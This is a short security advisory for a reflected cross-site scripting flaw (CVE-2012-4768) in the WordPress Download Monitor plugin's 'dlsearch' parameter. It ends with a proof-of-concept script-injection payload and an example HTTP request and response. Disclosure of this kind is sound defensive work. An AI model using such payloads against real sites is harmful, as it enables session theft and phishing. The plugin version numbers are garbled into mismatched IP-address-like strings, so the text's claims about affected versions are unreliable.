Wordpress Download Monitor 126.96.36.199 Cross-Site Scripting
Wordpress Download Monitor 188.8.131.52 is subject to a cross-site scripting vulnerability. The 'dlsearch' parameter is not sufficiently sanitised before being written to pages including the '[download_page]' shortcode. An attacker could distribute a malicious URL as part of a phishing campaign. Users following the link would trigger this vulnerability which could potentially steal session cookies, redirect the user to a malicious URL or download malware onto their machine.
- CVE number: CVE-2012-4768
- Impact: Medium
- Vendor homepage: http://mikejolley.com/
- Vendor notified: 30/08/2012
- Vendor fixed: 30/08/2012
- Credit: Chris Cooper and Joseph Sheridan of Reaction Information Security
Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality security testing services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.
Confirmed in Wordpress Download Monitor 184.108.40.206. Versions prior to 220.127.116.11 may also be affected.
"><script>alert('xsstest')</script> --- Example Request: +--------------- GET /wp/?dlsearch="><script>alert('xsstest')</script> HTTP/1.1 Host: 192.168.0.6 --- Example Response: +---------------- --- SNIP --- <form id="download-page-search" action="" method="post"> <p><label for="dlsearch">Search Downloads:</label> <input type="text" name= "dlsearch" id="dlsearch" value=""><script>alert('xsstest') </script>" /><input class="search_submit" type="submit" value="Go" /><input type="hidden" name="page_id" value="2" /></p></form><h3>Results found for <em>""><script>alert ('xsstest')</script>"</em> <small><a href="http://192.168.0.6/wp/">« Downloads</a></small></h3> --- SNIP ---
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